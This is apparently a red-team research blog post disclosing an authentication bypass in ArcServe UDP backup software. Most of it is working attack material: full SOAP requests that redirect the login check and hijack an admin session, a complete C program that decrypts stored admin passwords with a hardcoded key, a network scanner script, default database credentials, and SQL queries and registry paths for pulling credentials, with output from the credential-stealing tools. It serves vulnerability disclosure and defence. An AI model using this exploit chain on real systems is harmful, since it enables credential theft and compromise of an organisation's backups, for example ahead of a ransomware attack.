During a recent adversary simulation, the MDSec ActiveBreach red team were performing a ransomware scenario, with a key objective set on compromising the organisation’s backup infrastructure.
As part of this simulation, Juan Manuel Fernandez and Sean Doherty carried out a detailed analysis of the software used to perform backups (ArcServe UDP). Within minutes of analysing the code, a critical authentication bypass was discovered that allowed access to the administration interface.
In this article we will proceed to explain the root cause of this vulnerability that affects versions 7.0 to 9.0, as well as other interesting tradecraft that may be of interest to both defenders and offensive professionals.
When analysing the flow of HTTP requests made between our web browser and the web interface used for administrative tasks, we can observe that during the login process one of the requests sent is the following:
POST /contents/service/login HTTP/1.1
Host: 192.168.56.10:8014
Cookie: AGENTJSESSIONID=A20902BCB1FBFE1EEF99B4788DC24362
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/x-gwt-rpc; charset=utf-8
X-Gwt-Permutation: 69C1E1E0891DA29292A9BA76888D3D04
X-Gwt-Module-Base: <https://192.168.56.10:8014/contents/>
Content-Length: 245
Origin: <https://192.168.56.10:8014>
Referer: <https://192.168.56.10:8014/>
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|https:|EPIPELAGIC|SEVENKINGDOMS|vagrant|adepts|1|2|3|4|6|5|5|6|5|5|5|7|8|8014|9|10|11|
We can see it sends a body using a serialised object via GWT RPC. It invokes the method validateUser
and it receives as arguments, the schema (https:
), server hostname (EPIPELAGIC
), the domain (SEVENKINGDOMS
), username (vagrant
) and password (adepts
).
This functionality can be found implemented at flash-webui.jar
file:
public Boolean validateUser(HttpServletRequest req, String protocol, String host, int port, String domain, String username, String password, String logindetail) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - start");
if (StringUtil.isEmptyOrNull(username))
throw generateException(FlashServiceErrorCode.Login_UsernameRequired);
if (StringUtil.isEmptyOrNull(password))
throw generateException(FlashServiceErrorCode.Login_PasswordRequired);
HttpSession session = req.getSession();
WebServiceClientProxy client = null;
LoginDetail detail = null;
try {
logger.debug(protocol + host + port);
client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
setServiceClient(req, client);
detail = client.getService().validateUserWithDetail(username, password, domain, logindetail);
setLocalWebServiceClient(client);
} catch (WebServiceException exception) {
logger.error("Error occurs during validate user...");
logger.error(exception.getMessage());
if (exception.getCause() instanceof Error && exception.getMessage().startsWith("Undefined operation name"))
throw generateException(FlashServiceErrorCode.EDGE_D2D_INTERFACE_MISMATCH);
proccessAxisFaultException(exception);
}
HostInfo hostInfo = new HostInfo();
hostInfo.setName(host);
hostInfo.setUsername(username);
session.setAttribute(SessionConstants.SRING_DOMAIN, domain);
session.setAttribute(SessionConstants.SRING_USERNAME, username);
session.setAttribute(SessionConstants.SRING_PASSWORD, password);
session.setAttribute(SessionConstants.SRING_UUID, "");
session.setAttribute(SessionConstants.SRING_LOGIN_DETAIL, detail);
logger.debug("validateUser(HttpServletRequest, String, String, int, String, String, String, String) - end");
return Boolean.TRUE;
}
As can be seen in the code above, the validateUser method creates a “client” that will act as a proxy to communicate independently with a WebService that will be in charge of the validation of the supplied credentials. The location of this WebService, along with the schema used (HTTP or HTTPs), is information that is supplied in the serialised object. Therefore, if we block and edit the request in transit to modify the values of the serialised object, we can make that “client” contact an HTTP server controlled by us. For example, let’s change “EPIPELAGIC” host to “192.168.56.1” and standup a minimal HTTP server to log the request:
7|0|10|https://192.168.56.10:8014/contents/|9D583B6834A20CE6C6975A0AA976C843|com.ca.arcflash.ui.client.login.LoginService|validateUser|java.lang.String/2004016611|I|http:|192.168.56.1|SEVENKINGDOMS|vagrant|1|2|3|4|6|5|5|6|5|5|5|7|8|7777|9|10|10|
In our logger we receive the following request:
psyconauta@insulanova:/tmp|⇒ python3 loghttp.py 7777
Starting httpd...
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUser xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>vagrant</arg0><arg1>vagrant</arg1><arg2>SEVENKINGDOMS</arg2></ns2:validateUser></S:Body></S:Envelope>
192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
192.168.56.10 - - [04/Feb/2023 11:56:58] "POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1" 200 -
We can see it does two SOAP requests against /WebServiceImpl/services/FlashServiceImpl
, the first (validateUser
same name we saw in the method) with the credentials and the second requesting additional info (getVersionInfo
).
If we copy this request and send it manually against the original WebService:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Host: 192.168.56.20:8014
Content-Length: 887
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfo xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"/></S:Body></S:Envelope>
We obtain the next response:
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:03:22 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 2853
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getVersionInfoResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:majorVersion>9</ns5:majorVersion><ns5:minorVersion>0</ns5:minorVersion><ns5:buildNumber>6034</ns5:buildNumber><ns5:locale>en</ns5:locale><ns5:country></ns5:country><ns5:timeZoneID>America/Los_Angeles</ns5:timeZoneID><ns5:timeZoneOffset>-28800000</ns5:timeZoneOffset><ns5:adminName>SEVENKINGDOMS\\vagrant</ns5:adminName><ns5:localDriverLetters>C:\\</ns5:localDriverLetters><ns5:localADTPackage>-1</ns5:localADTPackage><ns5:productType>2</ns5:productType><ns5:edgeInfoCM><ns5:edgeHostName>kingslanding.sevenkingdoms.local</ns5:edgeHostName><ns5:edgeUrl><https://kingslanding.sevenkingdoms.local:8015/management/></ns5:edgeUrl></ns5:edgeInfoCM><ns5:dataFormat><ns5:timeFormat>h:mm:ss a</ns5:timeFormat><ns5:shortTimeFormat>h:mm a</ns5:shortTimeFormat><ns5:timeDateFormat>M/d/yyyy h:mm:ss a</ns5:timeDateFormat><ns5:dateFormat>M/d/yyyy</ns5:dateFormat></ns5:dataFormat><ns5:isX86>false</ns5:isX86><ns5:isHyperVRoleInstalled>false</ns5:isHyperVRoleInstalled><ns5:isDedupInstalled>false</ns5:isDedupInstalled><ns5:isWin8>true</ns5:isWin8><ns5:isReFsSupported>true</ns5:isReFsSupported><ns5:osName>Windows Server 2019 Datacenter Evaluation</ns5:osName><ns5:hostName>kingslanding</ns5:hostName><ns5:osMajorVersion>10</ns5:osMajorVersion><ns5:osMinorVersion>0</ns5:osMinorVersion><ns5:osBuildNumber>17763</ns5:osBuildNumber><ns5:uefiFirmware>false</ns5:uefiFirmware><ns5:SQLServerInstalled>true</ns5:SQLServerInstalled><ns5:ExchangeInstalled>false</ns5:ExchangeInstalled><ns5:D2DInstalled>true</ns5:D2DInstalled><ns5:ARCserveBackInstalled>false</ns5:ARCserveBackInstalled><ns5:RPSInstalled>true</ns5:RPSInstalled><ns5:settingConfiged>false</ns5:settingConfiged><ns5:dotNetVersion>4.7</ns5:dotNetVersion><ns5:displayVersion>9.0</ns5:displayVersion><ns5:isInCloud>false</ns5:isInCloud><ns5:nodeUUID>d5936919-6cc3-4c8a-b570-bbd39f75ca17</ns5:nodeUUID><ns5:authUUID>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</ns5:authUUID></ns2:return></ns2:getVersionInfoResponse></S:Body></S:Envelope>
There is alot of juicy information that can be obtained without authentication: OS version + buildnumber, hostname, domain and the name of the administrator account. But there is also something interesting: authUUID. If we check again flash-webui.jar below the validateUser there is another interesting method called: validateUserByUuid:
public Boolean validateUserByUuid(String uuid, String host, int port, String protocol) throws BusinessLogicException, ServiceConnectException, ServiceInternalException {
logger.debug("validateUserByUuid(String, String, int, String) - start");
if (StringUtil.isEmptyOrNull(uuid))
throw generateException(FlashServiceErrorCode.Login_UUIDRequired);
WebServiceClientProxy client = null;
try {
client = (WebServiceClientProxy)ServiceProviders.getLocalFlashServiceProvider().create(protocol, host, port, "IFlashService_R16_5");
setServiceClient(client);
client.getService().validateUserByUUID(uuid);
setLocalWebServiceClient(client);
} catch (WebServiceException exception) {
logger.error("Error occurs during validate user by uuid...");
logger.error(exception.getMessage());
proccessAxisFaultException(exception, false);
}
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_DOMAIN, "");
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_USERNAME, "");
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_UUID, uuid);
getThreadLocalRequest().getSession(true).setAttribute(SessionConstants.SRING_PASSWORD, "");
logger.debug("validateUserByUuid(String, String, int, String) - end");
return Boolean.TRUE;
}
If we grep for this method name we can find it can be used from a WebService described at VirtualStandbyServiceImpl.wsdl:
<xs:complexType name="validateUserByUUID">
<xs:sequence>
<xs:element name="arg0" type="xs:string" minOccurs="0"/>
</xs:sequence>
</xs:complexType>
So it only needs an argument that is the UUID. What happens when we use it with the AuthUUID value we found before?
POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
Host: 192.168.56.20:8014
Content-Length: 964
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUID xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><arg0>6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1</arg0></ns2:validateUserByUUID></S:Body></S:Envelope>
It responds with a cookie with a session! (AGENTJSESSIONID…)
HTTP/1.1 200
Date: Fri, 03 Feb 2023 22:01:07 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Set-Cookie: AGENTJSESSIONID=D16CE41B84744598FD8BBD6D9A568CE1; Path=/WebServiceImpl; Secure; HttpOnly
Content-Length: 324
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:validateUserByUUIDResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://data.webservice.arcflash.ca.com/xsd>"><ns2:return>0</ns2:return></ns2:validateUserByUUIDResponse></S:Body></S:Envelope>
Once we have exploited the vulnerability in order to obtain a valid administrator session, the next thing we can do is to use it to interact with the WebService and retrieve the administrator password. Fortunately ArcServe provides a method called getLocalHostAsTrust which returns the encrypted password:
POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
Cookie: AGENTJSESSIONID=1D5290DAC2BBD2D98D97F8EDC594A7B7
SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
Host: 192.168.56.20:8014
Content-Length: 917
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrust xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"></ns2:getLocalHostAsTrust></S:Body></S:Envelope>
Jackpot!!!
HTTP/1.1 200
Date: Sat, 04 Feb 2023 11:12:14 GMT
Server: Apache
Content-Type: text/xml;charset=utf-8
Content-Length: 1625
<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="<http://schemas.xmlsoap.org/soap/envelope/>"><S:Body><ns2:getLocalHostAsTrustResponse xmlns:ns2="<http://webservice.arcflash.ca.com>" xmlns:ns3="<http://history.job.data.webservice.arcflash.ca.com/xsd>" xmlns:ns4="<http://vsphere.data.webservice.arcflash.ca.com/xsd>" xmlns:ns5="<http://data.webservice.arcflash.ca.com/xsd>" xmlns:ns6="<http://backup.data.webservice.arcflash.ca.com/xsd>" xmlns:ns7="<http://browse.data.webservice.arcflash.ca.com/xsd>" xmlns:ns8="<http://restore.data.webservice.arcflash.ca.com/xsd>" xmlns:ns9="<http://catalog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns10="<http://export.data.webservice.arcflash.ca.com/xsd>" xmlns:ns11="<http://remotedeploy.data.webservice.arcflash.ca.com/xsd>" xmlns:ns12="<http://activitylog.data.webservice.arcflash.ca.com/xsd>" xmlns:ns13="<http://webservice.edge.arcserve.ca.com/>"><ns2:return><ns5:name>KINGSLANDING</ns5:name><ns5:port>0</ns5:port><ns5:uuid>TkVGQRAHCSAYAAAAEGYAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNN6wnCXQUv9XXeaqIvNyGjJ2C6dkWgkLGoLC4fym3LtFGinaud8DVix81Up1/aThbifZVqlRsu4R0T9P92JjvcVF6bKT6KrnHx6DCZALSTQ</ns5:uuid><ns5:userName>vagrant</ns5:userName><ns5:password>TkVGQRAHCSAYAAAAEGYAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACFPGHAnp8ZjTr6rqmN2Ghi</ns5:password><ns5:type>0</ns5:type><ns5:d2dVersion>9</ns5:d2dVersion></ns2:return></ns2:getLocalHostAsTrustResponse></S:Body></S:Envelope
To understand how to decrypt the password, we have to keep an eye on edge-app-base-webservice-impl.jar. This file contains a class called XmlDecrypter with the following content:
package com.ca.arcserve.edge.app.base.common;
import com.ca.arcflash.webservice.jni.WSJNI;
import java.io.IOException;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.transform.TransformerException;
import org.xml.sax.SAXException;
public class XmlDecrypter extends BaseXmlCrypt {
public static final XmlDecrypter CommonDecrypter = new XmlDecrypter(new String[] { "uuid", ".*password", "encryptionkey", "access_token", "client_secret", "token_cache" });
public XmlDecrypter(String[] matchTag) {
super(matchTag);
}
protected String doEncrypt(String s) {
return WSJNI.AFDecryptStringEx(s);
}
public String decryptXml_NoException(String xml) {
return analyzeXml_NoException(xml);
}
public String decryptXml(String xml) throws ParserConfigurationException, SAXException, IOException, TransformerException {
return analyzeXml(xml);
}
}
The method doEncrypt calls a native function from “WSJNI”. After doing a bit of searching we find that AFCoreFunction.dll contains a function called AFDecryptFromString with next piece of source code inside (some parts were renamed during the reverse engineering process):
1800dd8ac CryptDecrypt_trucho = &CryptDecrypt_m;
1800dd8bf int32_t var_48_2 = 0x18;
1800dd8c6 int32_t var_44_2 = 0x6610; //AES-256
1800dd8ec if ((mandanga_buena(&CryptDecrypt_trucho, nullptr) >= 0 && (r14_1 != 0 && r14_1 <= rbx_2)))
1800dd8e9 {
1800dd8f2 arg_10 = r14_1;
1800dd8f2 }
1800ddb3f CryptDecrypt_trucho = &CryptDecrypt_m;
1800ddb6b rbx_1 = 0xa;
1800ddb77 void* const var_a8_2 = "AFSrvConfig::SaveAdminAccount";
1800ddb8b sub_18006e160(Username, 0, 0, "%s: Encrypt password failed");
1800ddb7c }
The function we renamed to mandanga_buena is shown below:
1800ea2b0 uint64_t mandanga_buena(void* arg1, int16_t* arg2)
1800ea2b0 {
1800ea2c5 int32_t rsi = 0;
1800ea2c7 void* const rbx = arg2;
1800ea2d5 if ((arg2 == 0 || (arg2 != 0 && 0 == *(int16_t*)arg2)))
1800ea2d2 {
1800ea2d7 rbx = "Please input a valid password";
1800ea2d7 }
1800ea2e9 int32_t var_18 = 0xf0000000;
1800ea2f3 BOOL rax = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000000);
1800ea2fb enum WIN32_ERROR rax_1;
1800ea2fb BOOL rax_2;
1800ea2fb uint64_t rax_4;
1800ea2fb if (rax == 0)
1800ea2f9 {
1800ea2fd rax_1 = GetLastError();
1800ea308 if (rax_1 == 0x80090016)
1800ea303 {
1800ea315 var_18 = 0xf0000008;
1800ea31f rax_2 = CryptAcquireContextW(((char*)arg1 + 8), nullptr, nullptr, *(int32_t*)((char*)arg1 + 0x20), 0xf0000008);
1800ea315 }
1800ea327 if ((rax_1 != 0x80090016 || (rax_1 == 0x80090016 && rax_2 == 0)))
1800ea325 {
1800ea329 rax_4 = -1;
1800ea329 }
1800ea327 if ((rax != 0 || ((rax == 0 && rax_1 == 0x80090016) && rax_2 != 0)))
1800ea325 {
1800ea344 void* r15_1 = ((char*)arg1 + 0x10);
1800ea34d var_18 = r15_1;
1800ea35a if (CryptCreateHash(*(int64_t*)((char*)arg1 + 8), 0x8003, nullptr, 0, var_18) == 0)
1800ea358 {
1800ea35c rax_4 = 0xfffffffe;
1800ea35c }
1800ea363 else
1800ea363 {
1800ea363 int64_t rax_5 = -1;
1800ea379 bool cond:0_1;
1800ea379 do
1800ea379 {
1800ea370 cond:0_1 = *(int16_t*)(((char*)rbx + (rax_5 << 1)) + 2) != 0;
1800ea375 rax_5 = (rax_5 + 1);
1800ea375 } while (cond:0_1);
1800ea390 if (CryptHashData(*(int64_t*)r15_1, rbx, ((int32_t)(rax_5 + rax_5)), 0) == 0)
1800ea38e {
1800ea392 rax_4 = 0xfffffffd;
1800ea392 }
1800ea3aa else
1800ea3aa {
1800ea3aa var_18 = ((char*)arg1 + 0x18);
1800ea3bf if (CryptDeriveKey(*(int64_t*)((char*)arg1 + 8), *(int32_t*)((char*)arg1 + 0x24), *(int64_t*)r15_1, 0x1000004, var_18) == 0)
1800ea3b8 {
1800ea3bf rsi = -4;
1800ea3bf }
1800ea3c2 rax_4 = ((uint64_t)rsi);
1800ea3c2 }
1800ea3c2 }
1800ea3c2 }
1800ea3de return rax_4;
1800ea3de }
As we can see, it uses the string Please input a valid password as a seed to build the key used later in CryptDecrypt. With this knowledge, it was trivial to build a decrypter:
#include <Windows.h>
#include <stdio.h>
int main(int argc, char** argv) {
printf("\\t\\t-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-\\n\\n");
HCRYPTPROV phProv = NULL;
HCRYPTHASH phHash = NULL;
HCRYPTKEY phKey = NULL;
BYTE enc[] = { 133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98 }; // Text to decrypt (base64 decode and take everything after 0x80 bytes)
BYTE key[] = { 0x50, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x73, 0x00, 0x65, 0x00, 0x20, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x61, 0x00, 0x20, 0x00, 0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x64, 0x00, 0x20, 0x00, 0x70, 0x00, 0x61, 0x00, 0x73, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x64, 0x00 };
DWORD pdwDataLen = sizeof(enc);
if (!CryptAcquireContextW(&phProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("[!] CryptAcquireContextW Failed!\\n");
exit(-1);
}
if (!CryptCreateHash(phProv, CALG_MD5, NULL, 0, &phHash)) {
printf("[!] CryptCreateHash Failed!\\n");
exit(-1);
}
if (!CryptHashData(phHash, key, 58, 0)) {
printf("[!] CryptHashData Failed!\\n");
exit(-1);
}
if (!CryptDeriveKey(phProv, CALG_AES_256, phHash, 16777220, &phKey)) {
printf("[!] CryptDeriveKey Failed!\\n");
exit(-1);
}
CryptDecrypt(phKey, NULL, TRUE, 0, &enc, &pdwDataLen);
printf("[+] Decrypted string: %S", enc);
}
By default, ArcServe uses the instance name ARCSERVE_APP
, so we can abuse SQL Browser Service
to send a broadcast packet to port UDP 1434 and see if any host reply to it.
#!/usr/bin/env python3
# ArcServeRadar by Juan Manuel Fernandez (@xc3ll@mastodon.social)
import sys
import threading
from scapy.all import *
udp_packet = bytearray.fromhex("0441524353455256455f415050") # ARCSERVE_APP
def ping(ip, iface, port):
print("[*] Broadcasting")
sendp(Ether()/IP(src=ip,dst="255.255.255.255")/UDP(dport=1434,sport=port)/Raw(load=udp_packet), verbose=False, iface=iface)
def check(pkt):
origin = pkt[IP].src
content = pkt[Raw].load
if content != udp_packet:
data = content[content.find(b"Server"):]
print("\\t[+] " + origin + " => " + data.decode("utf-8"))
def monitor(iface, port):
print("[*] Starting to monitor")
sniff(prn=check, filter="port " + str(port), iface=iface)
if __name__ == "__main__":
print("\\t\\t-=[ ArcServe Finder - @xc3ll@mastodon.social ]=-\\n\\n")
if len(sys.argv) != 4:
print("[!] Error. Usage: python3 ArcServeRadar.py <interface> <originport> <originip>")
exit(-1)
iface = sys.argv[1]
port = int(sys.argv[2])
ip = sys.argv[3]
x = threading.Thread(target=monitor, args=(iface,port,))
x.start()
ping(ip, iface, port)
Alternatively, the following default credentials could be used if unchanged:
[MSSQL] Cleartext Username : arcserve_udp
[MSSQL] Cleartext Password : @rcserveP@ssw0rd
Even if the vulnerability is patched, it is possible to obtain the credentials of the administrator user in different ways. Of course, all of them imply certain privileges or default credentials. Examples include:
From the database:
If the MSSQL database is still configured with the default creds we can do two select queries:
select username,password from as_edge_connect_info;
Also, we can find where the admin server is located from the database:
select ipaddress,rhostname,osdesc from as_edge_host;
From the registry:
The credentials are also saved in Windows Registry, so if we have a domain/local user with enough privileges we can query remotely using Remote Registry service. The locations are:
Key:
HKEY_LOCAL_MACHINE\\SOFTWARE\\Arcserve\\Unified Data Protection\\Engine
Subkeys:
`AdminUser`
`AdminPassword`
If the attacker is positioned on the local network, scans can be performed to find instances using default configurations using ArcServeRadar.py
.
c:\\Users\\vagrant\\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20
-=[ ArcServe Finder - @xc3ll@mastodon.social ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
If the service is configured by default, it is possible to use default database credentials to connect to the IP and port obtained before and read the username/password plus where the ArcServe instances are located using ArcServe-dbpwner.py:
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwn.py -target 192.168.56.10 -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL
Have a nice day! ^_^
All the passwords retrieved by the tools can be decrypted using ArcServeDecrypter.exe. Just edit the C code to add the array, compile and execute it:
C:\\Users\\vagrant>C:\\Users\\vagrant\\source\\repos\\ArcServeDecrypter\\x64\\Debug\\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) }=-
[+] Decrypted string: vagrant
With a user with local admin privileges on the server where ArcServe is installed, it is possible to read the credentials using Remote Registry service (arcserve-regkeys.py):
psyconauta@insulanova:/tmp|⇒ python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20
-=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-
[+] Connecting to 192.168.56.20
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Opening registry key
[*] User: P3TWLADS11STD\\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
